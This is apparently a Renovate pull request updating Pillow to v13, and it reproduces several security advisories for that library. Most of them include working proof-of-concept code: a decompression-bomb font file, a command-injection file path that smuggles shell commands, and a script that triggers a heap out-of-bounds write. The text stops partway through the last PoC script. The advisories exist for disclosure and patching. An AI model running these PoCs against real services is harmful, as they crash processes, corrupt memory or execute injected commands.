fix(deps): update dependency pillow to v13 [security] #205

Open
Renovate wants to merge 1 commit from renovate/pypi-pillow-vulnerability into main
Collaborator

This PR contains the following updates:

Package Change Age Confidence
pillow (changelog) ~=12.1 → ~=13.0 age confidence
pillow (changelog) ~=12.1 → ~=13.0 age confidence

Pillow BdfFontFile: Image.new() called without _decompression_bomb_check() — bomb protection bypass via font loading

BIT-pillow-2026-55379 / CVE-2026-55379 / GHSA-45hq-cxwh-f6vc / PYSEC-2026-2255

More information

Details

Summary

PIL/BdfFontFile.py bdf_char() (lines 84–88) reads the BBX width height field from a BDF font file and passes the dimensions directly to Image.new() without calling Image._decompression_bomb_check(). This completely bypasses Pillow's documented decompression bomb protection.

Image.open() enforces MAX_IMAGE_PIXELS = 89,478,485 and raises DecompressionBombError for images exceeding 2 × MAX = 178,956,970 pixels. The BDF font loading path calls Image.new() directly, which only calls _check_size() (validates >= 0) — no pixel count limit.

Vulnerable code (PIL/BdfFontFile.py lines 84–88):


##### width, height from attacker-controlled "BBX width height x y" line
try:
    im = Image.frombytes("1", (width, height), bitmap, "hex", "1")
except ValueError:
    # TRIGGERED when BITMAP section is empty (zero hex lines)
    im = Image.new("1", (width, height))   # ← NO _decompression_bomb_check()!
    # ^ This image is stored in self.glyph[ch] — persists in memory

Attack trigger: A BDF glyph with BBX 20000 20000 and an empty BITMAP section causes Image.frombytes() to raise ValueError, then Image.new("1", (20000, 20000)) allocates 50 MB of C-heap silently. Image.open() would raise DecompressionBombError for the same dimensions.

Steps to reproduce

Minimal malicious BDF file (270 bytes):

STARTFONT 2.1
SIZE 16 75 75
FONTBOUNDINGBOX 16 16 0 -4
STARTPROPERTIES 1
COMMENT placeholder
ENDPROPERTIES
CHARS 1
STARTCHAR A
ENCODING 65
SWIDTH 500 0
DWIDTH 8 0
BBX 20000 20000 0 0
BITMAP
ENDCHAR
ENDFONT

Proof of Concept script:


#!/usr/bin/env python3
"""PoC: BdfFontFile bomb bypass — 270-byte BDF → 50 MB allocation"""
import io, warnings
warnings.filterwarnings("ignore")

from PIL.BdfFontFile import BdfFontFile
from PIL.Image import _decompression_bomb_check, DecompressionBombWarning, DecompressionBombError

W, H = 20000, 20000   # 400M pixels → above DecompressionBombError threshold

##### Show what Image.open() would do
warnings.filterwarnings("error", category=DecompressionBombWarning)
try:
    _decompression_bomb_check((W, H))
except (DecompressionBombWarning, DecompressionBombError) as e:
    print(f"[Image.open() path] BLOCKED by {type(e).__name__}")
warnings.filterwarnings("ignore")

##### Malicious BDF: large BBX + empty BITMAP → ValueError → Image.new() without bomb check
bdf = f"""STARTFONT 2.1
SIZE 16 75 75
FONTBOUNDINGBOX 16 16 0 -4
STARTPROPERTIES 1
COMMENT x
ENDPROPERTIES
CHARS 1
STARTCHAR A
ENCODING 65
SWIDTH 500 0
DWIDTH 8 0
BBX {W} {H} 0 0
BITMAP
ENDCHAR
ENDFONT
""".encode()

print(f"[*] BDF file size  : {len(bdf)} bytes")
print(f"[*] Glyph size     : {W} x {H} = {W*H:,} pixels")
print(f"[*] C-heap target  : {W*H//8//1024**2} MB  (mode '1' = 1 bit/pixel)")

BdfFontFile(io.BytesIO(bdf))   # No exception — bomb check bypassed!

print(f"[!] CONFIRMED: BdfFontFile loaded silently — {W*H//8//1024**2} MB allocated")
print(f"    Image.open() path would have raised DecompressionBombError")

Expected output:

[Image.open() path] BLOCKED by DecompressionBombError
[*] BDF file size  : 270 bytes
[*] Glyph size     : 20000 x 20000 = 400,000,000 pixels
[*] C-heap target  : 47 MB  (mode '1' = 1 bit/pixel)
[!] CONFIRMED: BdfFontFile loaded silently — 47 MB allocated
    Image.open() path would have raised DecompressionBombError

Amplified attack (multiple glyphs):
A BDF file defining 256 glyphs each at BBX 8000 8000 causes 256 × 7.6 MB = ~1.95 GB total C-heap allocation — all silently, bypassing documented bomb protection.

Impact
  • Availability: HIGH — attacker-controlled memory allocation per glyph × up to 65,536 glyphs
  • Confidentiality: None
  • Integrity: None
  • Any service loading BDF fonts from untrusted sources (e.g., ImageFont.load("user.bdf"), BdfFontFile(fp)) is affected
  • Loaded glyph images persist in self.glyph[ch] for the lifetime of the font object — memory is NOT freed until the font is garbage collected

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Pillow: WindowsViewer.get_command() OS command injection via unescaped shell path

BIT-pillow-2026-55798 / CVE-2026-55798 / GHSA-4x4j-2g7c-83w6 / PYSEC-2026-2257

More information

Details

1. Summary

WindowsViewer.get_command() constructs a cmd.exe shell command by directly embedding a
file path into an f-string without escaping. The result is passed to
subprocess.Popen(..., shell=True). Shell metacharacters in the file path — most
importantly a double-quote (") that breaks out of the wrapping, followed by & — allow
injection of arbitrary cmd.exe commands.

The macOS equivalent (MacViewer) correctly applies shlex.quote() to the same parameter.
The Linux equivalent (UnixViewer) does likewise. Windows is the only platform missing this
protection, despite shlex.quote being already imported on line 21 of ImageShow.py.


2. Vulnerable Code

File: src/PIL/ImageShow.py, lines 133–150

class WindowsViewer(Viewer):
    format = "PNG"
    options = {"compress_level": 1, "save_all": True}

    def get_command(self, file: str, **options: Any) -> str:
        return (
            f'start "Pillow" /WAIT "{file}" '    # ← f-string, no escaping
            "&& ping -n 4 127.0.0.1 >NUL "
            f'&& del /f "{file}"'                # ← same path, unescaped again
        )

    def show_file(self, path: str, **options: Any) -> int:
        if not os.path.exists(path):
            raise FileNotFoundError
        subprocess.Popen(
            self.get_command(path, **options),
            shell=True,                          # ← shell=True
            creationflags=getattr(subprocess, "CREATE_NO_WINDOW"),
        )  # nosec                               # ← Bandit warning suppressed manually
        return 1

Contrast with macOS — SAFE (line 164–168):

class MacViewer(Viewer):
    def get_command(self, file: str, **options: Any) -> str:
        command = "open -a Preview.app"
        command = f"({command} {quote(file)}; sleep 20; rm -f {quote(file)})&"
        return command                           # ← shlex.quote() applied

Cross-platform summary:

Platform Class shlex.quote()? shell=True? Safe?
macOS MacViewer Yes (line 168) No (list args) ✅ Yes
Linux UnixViewer Yes (line 207) No (list args) ✅ Yes
Windows WindowsViewer No (line 134–137) Yes (line 148) ❌ No

shlex.quote is imported on line 21. Its omission from the Windows path is a clear
oversight, not a deliberate design choice.


3. Proof of Concept

A full working PoC is at poc_pillow_injection.py. Key parts:

Part A — Injection string construction (static, no execution):

from PIL.ImageShow import WindowsViewer

viewer = WindowsViewer()
evil_path = r'C:\Temp\evil" & echo PWNED & echo "'
cmd = viewer.get_command(evil_path)
print(cmd)

##### Output:
##### start "Pillow" /WAIT "C:\Temp\evil" & echo PWNED & echo "" && ping ...

##### ┌─ start "Pillow" /WAIT "C:\Temp\evil"   → fails (file not found)
##### ├─ & echo PWNED                           → INJECTED COMMAND

##### └─ & echo ""  && ping ...                → continues

Part B — Live execution via os.system() (verified on Windows 11, Pillow 12.1.1):

import os, tempfile
from PIL.ImageShow import WindowsViewer

viewer = WindowsViewer()
poc_dir = tempfile.mkdtemp()
marker  = os.path.join(poc_dir, "INJECTION_CONFIRMED.txt")

##### Craft injection: payload writes a marker file (harmless)
payload   = f'echo REAL_INJECTED > "{marker}"'
evil_path = os.path.join(poc_dir, f'poc" & {payload} & echo "')

##### Call the REAL Pillow get_command():
real_cmd = viewer.get_command(evil_path)

##### Execute the same way the base Viewer.show_file() does (os.system):
os.system(real_cmd)

assert os.path.exists(marker)                          # PASSES — marker was created
assert "REAL_INJECTED" in open(marker).read()          # PASSES

##### → CONFIRMED: arbitrary command injection via get_command()

Severity

  • CVSS Score: 4.5 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Pillow: FontFile.compile(): Image.new() called without _decompression_bomb_check()

BIT-pillow-2026-54060 / CVE-2026-54060 / GHSA-5x94-69rx-g8h2 / PYSEC-2026-2254

More information

Details

Description

PIL/FontFile.py FontFile.compile() assembles per-glyph images into a single combined bitmap using Image.new("1", (xsize, ysize)) without calling Image._decompression_bomb_check(). This is the base-class method shared by both BdfFontFile and PcfFontFile, and it is triggered whenever a loaded font is converted to an ImageFont or saved.

Neither BdfFontFile.BdfFontFile(fp) nor PcfFontFile.PcfFontFile(fp) is registered with Image.register_open(), so Pillow's standard decompression bomb guard never fires for font objects. The compile step is the final opportunity to check the combined allocation — and it has no check.

Vulnerable code (PIL/FontFile.py lines ~64–92):

def compile(self) -> None:
    if self.bitmap:
        return

    h = w = maxwidth = 0
    lines = 1
    for glyph in self.glyph:              # up to 256 glyph slots
        if glyph:
            d, dst, src, im = glyph
            h = max(h, src[3] - src[1])   # max glyph height — attacker-controlled
            w = w + (src[2] - src[0])
            if w > WIDTH:                  # WIDTH = 800
                lines += 1
                w = src[2] - src[0]
            maxwidth = max(maxwidth, w)

    xsize = maxwidth                       # ≤ 800 (capped by WIDTH constant)
    ysize = lines * h                      # ← lines(256) × h(65535) = 16,776,960

    if xsize == 0 and ysize == 0:
        return

    self.ysize = h
    # NO _decompression_bomb_check() here ←
    self.bitmap = Image.new("1", (xsize, ysize))   # ← unchecked allocation

"Slow accumulation" attack — per-glyph dimensions stay BELOW warning threshold:

Metric Per-glyph (800 × 875) Combined bitmap (256 glyphs)
Pixel count 700,000 179,200,000
DecompressionBombWarning threshold (89.4M) 0.008× — no warning 2.0× — above warning
DecompressionBombError threshold (178.9M) 0.004× — no error 1.001× — above error

With PCF-maximum glyph height (65,535):

Metric Value
lines 256 (one per glyph slot, width=800 forces a wrap every glyph)
h (max glyph height) 65,535
xsize 800
ysize = lines × h 256 × 65,535 = 16,776,960
Total pixels 800 × 16,776,960 = 13,421,568,000
Ratio vs. DecompressionBombError threshold 75×
Memory (mode "1", 1 bit/pixel) ~1.6 GB
Steps to reproduce

Proof of Concept script:


#!/usr/bin/env python3
"""
PoC: FontFile.compile() bomb bypass
256 glyphs at 800x875 each (individually below warning threshold)
→ compile() creates 800x224000 = 179.2M px bitmap with NO bomb check
"""
from PIL import FontFile, Image

MAX_GLYPHS = 256
GLYPH_W    = 800
GLYPH_H    = 875     # individual: 700K px — below 89.4M warning threshold

class MockFont(FontFile.FontFile):
    def __init__(self):
        super().__init__()
        # Each glyph is individually safe (700K px < 89.4M warning)
        im = Image.new("1", (GLYPH_W, GLYPH_H))
        for i in range(MAX_GLYPHS):
            self.glyph[i] = (
                (GLYPH_W, GLYPH_H),
                (0, -GLYPH_H, GLYPH_W, 0),
                (0, 0,        GLYPH_W, GLYPH_H),
                im,
            )

##### Confirm bomb check WOULD catch the combined size
combined_size = (GLYPH_W, MAX_GLYPHS * GLYPH_H)
try:
    Image._decompression_bomb_check(combined_size)
    print("[FAIL] bomb check did not raise — unexpected")
except Image.DecompressionBombError as e:
    print(f"[OK] bomb check WOULD block {combined_size}: {e}")

##### Vulnerable path: compile() has NO bomb check
font = MockFont()
font.compile()   # → Image.new("1", (800, 224000)) — no error raised

px = font.bitmap.size[0] * font.bitmap.size[1]
threshold = Image.MAX_IMAGE_PIXELS * 2
print(f"[BYPASS] compile() succeeded: bitmap={font.bitmap.size}")
print(f"         pixels={px:,}  ({px/threshold:.3f}× DecompressionBombError threshold)")
print(f"         No DecompressionBombError raised at any point.")

Expected output:

[OK] bomb check WOULD block (800, 224000): Image size (179200000 pixels) exceeds limit
of 178956970 pixels, could be decompression bomb DOS attack.
[BYPASS] compile() succeeded: bitmap=(800, 224000)
         pixels=179,200,000  (1.001× DecompressionBombError threshold)
         No DecompressionBombError raised at any point.

Verified live on Pillow 12.2.0 — compile() succeeds with no exception.

Real-world trigger using BDF font file:

from PIL import BdfFontFile
import io

##### Load a crafted BDF font with 256 glyphs each claiming height=65535

##### (each glyph individually: 800 × 65535 = 52.4M px — below 89.4M warning)
##### compile() combined: 800 × 16,776,960 = 13.4B px — 75× error threshold
font = BdfFontFile.BdfFontFile(open("crafted_256glyph.bdf", "rb"))
font.to_imagefont()   # → compile() → ~1.6 GB allocation, NO bomb check

Attack scenarios:

Scenario Effect
Web font preview (BdfFontFile(upload).to_imagefont()) DoS with crafted .bdf upload
Server-side font renderer that loads PCF → to_imagefont() OOM crash
Font pipeline: load → render text One malicious font file kills the process
Impact
  • Availability: HIGH — compile() creates a combined bitmap whose pixel count scales as WIDTH × lines × max_glyph_height with no upper bound check. With max PCF glyph height (65,535) and 256 glyphs, the combined allocation is ~1.6 GB. With BDF (text-format, unbounded height), the allocation is limited only by system memory.
  • Confidentiality: None
  • Integrity: None

Affected call paths:

  • BdfFontFile.BdfFontFile(fp).to_imagefont() → FontFile.compile()
  • BdfFontFile.BdfFontFile(fp).save(filename) → FontFile.compile()
  • PcfFontFile.PcfFontFile(fp).to_imagefont() → FontFile.compile()
  • PcfFontFile.PcfFontFile(fp).save(filename) → FontFile.compile()

Neither BdfFontFile nor PcfFontFile is loaded via Image.open(), so the standard decompression bomb guard is entirely absent from the font loading code path. compile() is the only point where the combined allocation size is known, and it has no check.

Confirmed unpatched on python-pillow/Pillow main branch as of 2026-06-08.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Pillow: Out-of-bounds read via attacker-controlled row stride on Pillow's mmap path (McIdas AREA files)

BIT-pillow-2026-54058 / CVE-2026-54058 / GHSA-62p4-gmf7-7g93 / PYSEC-2026-3493

More information

Details

Summary

When Pillow loads an uncompressed image whose tile uses the raw codec and a mode in Image._MAPMODES, and the image was opened from a filename, it memory-maps the file and builds the image's row pointers directly into the mapping via PyImaging_MapBuffer (src/map.c). The per-row spacing (stride) is taken from the tile arguments. map.c validates offset + ysize*stride <= buffer_len but never checks that stride is at least the natural row width xsize * pixelsize.

The McIdas AREA plugin (McIdasImagePlugin.py) derives stride, offset, xsize, and ysize directly from attacker-controlled 32-bit header words with no validation. By supplying a stride far smaller than the row width, an attacker makes each row pointer read xsize*pixelsize bytes that run past the mapped region. Accessing the pixels (e.g. Image.tobytes(),
getpixel, convert, save) then reads adjacent process memory (information disclosure) or faults (SIGBUS, denial of service).

Complete Code Trace

Step 1: McIdasImageFile._open - turns attacker header words into image size, file offset, and row stride with no validation.


##### src/PIL/McIdasImagePlugin.py:41-70
s = self.fp.read(256)
if not _accept(s) or len(s) != 256:        # _accept: prefix == b"\x00\x00\x00\x00\x00\x00\x00\x04"
    raise SyntaxError(...)
self.area_descriptor = w = [0, *struct.unpack("!64i", s)]   # w[1..64] = signed BE int32, ALL attacker-controlled

if w[11] == 1:
    mode = rawmode = "L"                    # pixelsize 1, in _MAPMODES
elif w[11] == 2:
    mode = rawmode = "I;16B"                # pixelsize 2, in _MAPMODES
...
self._mode = mode
self._size = w[10], w[9]                    # (xsize, ysize)  <-- attacker
offset = w[34] + w[15]                       # <-- attacker
stride = w[15] + w[10] * w[11] * w[14]       # <-- attacker (set w[14]=0, w[15]=1 => stride=1)
self.tile = [
    ImageFile._Tile("raw", (0, 0) + self.size, offset, (rawmode, stride, 1))
]

Step 2: ImageFile.load (mmap branch) - selects mmap and delegates to map_buffer.


##### src/PIL/ImageFile.py:322-348
if use_mmap:                                 # use_mmap = self.filename and len(self.tile) == 1
    decoder_name, extents, offset, args = self.tile[0]
    if (decoder_name == "raw" and isinstance(args, tuple) and len(args) >= 3
            and args[0] == self.mode and args[0] in Image._MAPMODES):
        if offset < 0:                       # only lower-bound guard on offset
            raise ValueError("Tile offset cannot be negative")
        with open(self.filename) as fp:
            self.map = mmap.mmap(fp.fileno(), 0, access=mmap.ACCESS_READ)
        if offset + self.size[1] * args[1] > self.map.size():   # == offset + ysize*stride; NO stride>=linesize check
            raise OSError("buffer is not large enough")
        self.im = Image.core.map_buffer(
            self.map, self.size, decoder_name, offset, args      # args = ("L", stride, 1)
        )

Step 3: PyImaging_MapBuffer - builds row pointers at stride spacing into the mmap; validates everything except stride >= row width.

/* src/map.c:65-140 */
if (!PyArg_ParseTuple(args, "O(ii)sn(sii)",
        &target, &xsize, &ysize, &codec, &offset, &mode_name, &stride, &ystep))
    return NULL;
...
const ModeID mode = findModeID(mode_name);          /* "L" */

if (stride <= 0) {                                  /* attacker sets stride=1 (>0) -> NOT recomputed */
    if (mode == IMAGING_MODE_L || mode == IMAGING_MODE_P) stride = xsize;
    else if (isModeI16(mode)) stride = xsize * 2;
    else stride = xsize * 4;
}

if (stride > 0 && ysize > PY_SSIZE_T_MAX / stride) {/* overflow guard only */
    PyErr_SetString(PyExc_MemoryError, "Integer overflow in ysize"); return NULL;
}
size = (Py_ssize_t)ysize * stride;                  /* = 1*1 = 1 */

if (offset > PY_SSIZE_T_MAX - size) { ... }
...
if (offset + size > view.len) {                     /* 1 + 1 = 2 <= 256 -> PASSES */
    PyErr_SetString(PyExc_ValueError, "buffer is not large enough");
    PyBuffer_Release(&view); return NULL;
}

im = ImagingNewPrologueSubtype(mode, xsize, ysize, sizeof(ImagingBufferInstance));
/* im->linesize = xsize * pixelsize = 200000  (the REAL per-row read width) */

/* setup file pointers -- NO check that stride >= im->linesize */
if (ystep > 0) {
    for (y = 0; y < ysize; y++) {
        im->image[y] = (char *)view.buf + offset + y * stride;   /* row points into mmap, spacing=1 */
    }
} else { ... }

im->linesize (the number of bytes any consumer reads per row) is xsize * pixelsize = 200000, but the row pointers are only stride = 1 byte apart and the buffer is only offset + ysize*stride = 2 bytes "claimed". Nothing reconciles the two.

Step 4: pixel access (Image.tobytes() → raw encoder copy1) - reads linesize bytes from im->image[0], i.e. xsize bytes starting at view.buf + offset, running far past the mmap.

/* the raw "L" packer copies linesize (=xsize) bytes per row from im->image[y];
   for row 0 that is view.buf+1 .. view.buf+1+200000, vs a 256-byte file. */
Chain Summary
SOURCE: McIdas AREA header words w[9],w[10],w[11],w[14],w[15],w[34]  (Image.open on a path)
  ↓ McIdasImagePlugin._open: stride = w[15]+w[10]*w[11]*w[14]  -> attacker sets stride=1   [McIdasImagePlugin.py:66]
  ↓ tile = ("raw", (0,0,xsize,1), offset, ("L", 1, 1))                                     [McIdasImagePlugin.py:68]
GADGET: ImageFile.load mmap branch -- only checks offset+ysize*stride<=len  <- BUG: no stride>=linesize check  [ImageFile.py:343]
  ↓ core.map_buffer(map, (xsize,1), "raw", offset, ("L",1,1))                              [ImageFile.py:346]
SINK: PyImaging_MapBuffer: im->image[0] = view.buf + offset + 0*stride; linesize=xsize   [map.c:134]
  ↓ Image.tobytes() raw "L" encoder reads linesize (=xsize) bytes from im->image[0]
IMPACT: reads xsize bytes from a tiny mmap -> OOB read of adjacent process memory (leak) or SIGBUS (DoS)
Proof of Concept

See attached poc.zip

Impact on a Parent Application

Any application that opens image files supplied by users from a path on disk (the common pattern: save upload to a temp file, then Image.open(path)), has the default plugin set (McIdas is registered by default), and subsequently reads/returns/re-encodes the decoded pixels (thumbnailing, format conversion, serving a preview), is exposed:

  • Information disclosure (High): the decoded "image" contains bytes of the worker process's adjacent heap/mapped memory, which the app then serves or stores - potentially leaking secrets, credentials, or other users' data.
  • Denial of service (High): a larger xsize reliably crashes the worker with SIGBUS.
Suggested fix

Core fix in src/map.c (PyImaging_MapBuffer): reject offset < 0 and stride < im->linesize. Defense-in-depth in McIdasImagePlugin._open: reject offset < 0 or stride < xsize*pixelsize .

Severity

  • CVSS Score: 8.3 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:H/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Pillow: Heap out-of-bounds write Image.paste() / Image.crop() via signed coordinate overflow

BIT-pillow-2026-59199 / CVE-2026-59199 / GHSA-6r8x-57c9-28j4 / PYSEC-2026-3451

More information

Details

Summary

Pillow's public image coordinate APIs can trigger a native heap out-of-bounds
write when given coordinates near the signed 32-bit integer limits. In 4-byte
pixel modes such as RGBA, this becomes a controlled backward heap underwrite:
for a source image of width W, Pillow writes 4 * W attacker-controlled bytes
starting 4 * W bytes before the destination row pointer. With successful large
image allocation, the theoretical upper bound is ~2 GiB backwards from
the destination row.

Minimal public API trigger:

from PIL import Image

INT_MIN = -(1 << 31)

src = Image.new("RGBA", (2, 1), (0x41, 0x42, 0x43, 0x44))
dst = Image.new("RGBA", (8, 1))
dst.paste(src, ((1 << 31) - 2, 0, INT_MIN, 1))

The same root cause is also reachable through Image.crop() and
Image.alpha_composite(). No private API, ctypes, custom Python object, or
malformed image file is needed.

This has been confirmed as an ASAN heap-buffer-overflow write. On normal
non-ASAN Pillow builds, the minimal trigger corrupts the heap and aborts with
double free or corruption (out)

Details

src/PIL/Image.py:paste() accepts a 4-tuple box and passes it to the native
ImagingCore.paste() method:

self.im.paste(source, box)

src/_imaging.c:_paste() parses the four Python coordinates into signed int
values and calls ImagingPaste():

int x0, y0, x1, y1;
PyArg_ParseTuple(args, "O(iiii)|O!", &source, &x0, &y0, &x1, &y1, ...);
status = ImagingPaste(self->image, PyImaging_AsImaging(source), ..., x0, y0, x1, y1);

src/libImaging/Paste.c:ImagingPaste() computes and clips the region using
signed int arithmetic:

xsize = dx1 - dx0;
ysize = dy1 - dy0;

if (dx0 + xsize > imOut->xsize) {
    xsize = imOut->xsize - dx0;
}

With dx0 = 2147483646 and dx1 = -2147483648, dx1 - dx0 wraps to 2.
That matches the 2-pixel source image, so the size check passes. The later
dx0 + xsize clip check wraps around and does not reject the out-of-bounds
destination.

For 4-byte pixel modes such as RGBA, the paste loop then multiplies dx by
pixelsize:

dx *= pixelsize;
xsize *= pixelsize;
memcpy(imOut->image[y + dy] + dx, imIn->image[y + sy] + sx, xsize);

For the minimal PoC, this writes 8 attacker-controlled bytes 8 bytes before the
destination row allocation.

The primitive scales with the attacker-controlled source width:

source width = W
box = ((1 << 31) - W, 0, INT_MIN, 1)

C destination offset = -4 * W
C memcpy size        =  4 * W
write range          = [row_start - 4W, row_start)

Examples for RGBA:

W = 2         -> writes 8 bytes before the row
W = 1024      -> writes 4096 bytes before the row
W = 65536     -> writes 256 KiB before the row
W = 1000000   -> writes about 4 MiB before the row

Pillow's image creation guard currently limits xsize to roughly
INT_MAX / 4 - 1, so the theoretical upper bound for this RGBA underwrite is
2,147,483,640 bytes before the destination row pointer. In practice, the
usable range depends on memory availability, allocator layout, and process heap
state.

Two other documented APIs reach the same sink:


##### Image.crop() path
left = INT_MIN + 2
Image.new("RGBA", (2, 1)).crop((left, 0, left + 2, 1))

##### Image.alpha_composite() path, via its internal crop()
base = Image.new("RGBA", (2, 1))
over = Image.new("RGBA", (2, 1), (0x41, 0x42, 0x43, 0x44))
base.alpha_composite(over, dest=(left, 0))

Image.crop() keeps right - left small, so the Python decompression-bomb
check allows it. src/libImaging/Crop.c then computes wrapped paste
coordinates and calls ImagingPaste().

PoC

The following standalone script exercises all three public API paths. Save it
as b021_poc.py and run it with paste, crop, or alpha.


#!/usr/bin/env python3
import argparse
import sys

from PIL import Image

INT_MIN = -(1 << 31)

def rgba_pattern(width):
    out = bytearray()
    for i in range(width):
        out += bytes((0x41 + (i % 26), 0x42, 0x43, 0x44))
    return bytes(out)

def main():
    parser = argparse.ArgumentParser()
    parser.add_argument(
        "variant",
        choices=("paste", "crop", "alpha"),
        nargs="?",
        default="paste",
    )
    parser.add_argument("-w", "--width", type=int, default=2)
    args = parser.parse_args()

    width = args.width
    src = Image.frombytes("RGBA", (width, 1), rgba_pattern(width))

    if args.variant == "paste":
        box = ((1 << 31) - width, 0, INT_MIN, 1)
        dst = Image.new("RGBA", (max(8, width), 1), (0, 0, 0, 0))
        print(f"variant=paste box={box}")
        print(f"expected C dst offset={-4 * width}, write_size={4 * width}")
        sys.stdout.flush()
        dst.paste(src, box)
        print("paste returned; first row:", dst.tobytes().hex())

    elif args.variant == "crop":
        left = INT_MIN + width
        box = (left, 0, left + width, 1)
        print(f"variant=crop box={box}")
        sys.stdout.flush()
        out = src.crop(box)
        print("crop returned; output:", out.tobytes().hex())

    else:
        dest = (INT_MIN + width, 0)
        dst = Image.new("RGBA", (max(8, width), 1), (0, 0, 0, 0))
        print(f"variant=alpha dest={dest}")
        sys.stdout.flush()
        dst.alpha_composite(src, dest=dest)
        print("alpha_composite returned; first row:", dst.tobytes().hex())

    sys.stdout.flush()

if __name__ == "__main__":
    main()

Run against an ASAN build:

env ASAN_OPTIONS=detect_leaks=0 ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer \
  python b021_poc.py paste

env ASAN_OPTIONS=detect_leaks=0 ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer \
  python b021_poc.py crop

env ASAN_OPTIONS=detect_leaks=0 ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer \
  python b021_poc.py alpha

Observed ASAN signature for the direct Image.paste() path:

ERROR: AddressSanitizer: heap-buffer-overflow
WRITE of size 8
paste /out/src/src/libImaging/Paste.c:59
ImagingPaste /out/src/src/libImaging/Paste.c:323
_paste /out/src/src/_imaging.c:1461
0x... is located 8 bytes before 32-byte region

On non-ASAN Pillow 12.2.0 and local 12.3.0.dev0, the direct minimal
Image.paste() trigger returns from paste() and then the process aborts
during cleanup with:

double free or corruption (out)
Aborted (core dumped)

Observed ASAN signature for the Image.crop() and Image.alpha_composite()
paths:

ERROR: AddressSanitizer: heap-buffer-overflow
WRITE of size 8
paste /out/src/src/libImaging/Paste.c:59
ImagingPaste /out/src/src/libImaging/Paste.c:323
ImagingCrop /out/src/src/libImaging/Crop.c:57
_crop /out/src/src/_imaging.c:1090
Suggested fix

Avoid signed overflow in paste/crop coordinate arithmetic. Use checked
arithmetic or a wider type before calculating widths and clipped endpoints.

For example, reject boxes whose endpoint subtraction cannot be represented
cleanly, and clip using non-overflowing comparisons:

int64_t xsize64 = (int64_t)dx1 - dx0;
int64_t ysize64 = (int64_t)dy1 - dy0;

if (xsize64 < 0 || ysize64 < 0 || xsize64 > INT_MAX || ysize64 > INT_MAX) {
    return ImagingError_ValueError("bad box");
}

ImagingCrop() should receive the same treatment for sx1 - sx0,
dx0 = -sx0, and dx1 = imIn->xsize - sx0.

Impact

This is a heap out-of-bounds write in Pillow's native C extension, reachable
through documented public image APIs.

Applications are impacted if an untrusted user can control image operation
coordinates passed to Pillow, for example crop boxes, paste boxes, or overlay
positions. The bytes written in the direct Image.paste() variant are copied
from the source image, so attacker-controlled source pixels can influence the
out-of-bounds write. For RGBA, the write is a backward heap underwrite whose
offset and length are both 4 * source_width, bounded in practice by successful
image allocation and heap layout.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Pillow PcfFontFile._load_bitmaps(): Image.frombytes() called without _decompression_bomb_check() — bomb protection bypass via PCF font loading

BIT-pillow-2026-54059 / CVE-2026-54059 / GHSA-8v84-f9pq-wr9x / PYSEC-2026-2253

More information

Details

Description

PIL/PcfFontFile.py _load_bitmaps() (line 227) reads glyph dimensions from the PCF METRICS section and passes them directly to Image.frombytes() without calling Image._decompression_bomb_check(). Dimensions originate from unsigned 16-bit values:

xsize = right - left          (max: 65535 − 0 = 65535)
ysize = ascent + descent      (max: 65535 + 65535 = 131070)

Maximum exploitable pixel count: 65,535 × 131,070 = 8,589,734,450 pixels — 48× the DecompressionBombError threshold.

Vulnerable code (PIL/PcfFontFile.py line 224–227):

for i in range(nbitmaps):
    xsize, ysize = metrics[i][:2]    # from PCF METRICS — attacker-controlled
    b, e = offsets[i : i + 2]
    bitmaps.append(
        Image.frombytes("1", (xsize, ysize), data[b:e], "raw", mode, pad(xsize))
        # ↑ NO _decompression_bomb_check()!
    )

Image.frombytes() calls Image.new() first (allocating the full C-heap buffer), then attempts to fill it. This creates two distinct attack paths:

  • Persistent attack: Provide matching bitmap data → frombytes() succeeds → image stored in font.glyph[ch] permanently
  • Transient attack: Provide a 148-byte PCF file with large declared dimensions but no data → Image.new() allocates the full buffer → ValueError → buffer freed → but the spike occurs before Python can respond
Steps to reproduce

Proof of Concept script:


#!/usr/bin/env python3
"""PoC: PcfFontFile bomb bypass — 148-byte PCF → 23 MB allocation"""
import io, struct, tracemalloc, warnings
warnings.filterwarnings("ignore")

from PIL.PcfFontFile import PcfFontFile
from PIL.Image import _decompression_bomb_check, DecompressionBombWarning, DecompressionBombError

W, H = 14000, 14000   # 196M pixels → above DecompressionBombError threshold

##### Show what Image.open() would do
warnings.filterwarnings("error", category=DecompressionBombWarning)
try:
    _decompression_bomb_check((W, H))
except (DecompressionBombWarning, DecompressionBombError) as e:
    print(f"[Image.open() path] BLOCKED by {type(e).__name__}")
warnings.filterwarnings("ignore")

##### PCF binary constants
PCF_MAGIC    = 0x70636601
PCF_PROPS    = 1 << 0
PCF_METRICS  = 1 << 2
PCF_BITMAPS  = 1 << 3
PCF_ENCODINGS= 1 << 5

def build_bomb_pcf(xsize, ysize):
    # Properties: empty
    props = struct.pack("<III", 0, 0, 0)

    # Metrics (jumbo, non-compressed): 1 glyph — xsize=right-left, ysize=ascent+descent
    metrics = struct.pack("<II", 0, 1)
    metrics += struct.pack("<HHHHHH", 0, xsize, xsize, ysize, 0, 0)

    # Bitmaps: 1 glyph, empty data (transient attack)
    bitmaps = struct.pack("<II", 0, 1)
    bitmaps += struct.pack("<I", 0)              # offset[0] = 0
    bitmaps += struct.pack("<IIII", 0, 0, 0, 0) # bitmap_sizes all = 0

    # Encodings: char 0x41 ('A') → glyph 0
    enc_offsets = [0xFFFF]*65 + [0] + [0xFFFF]*62
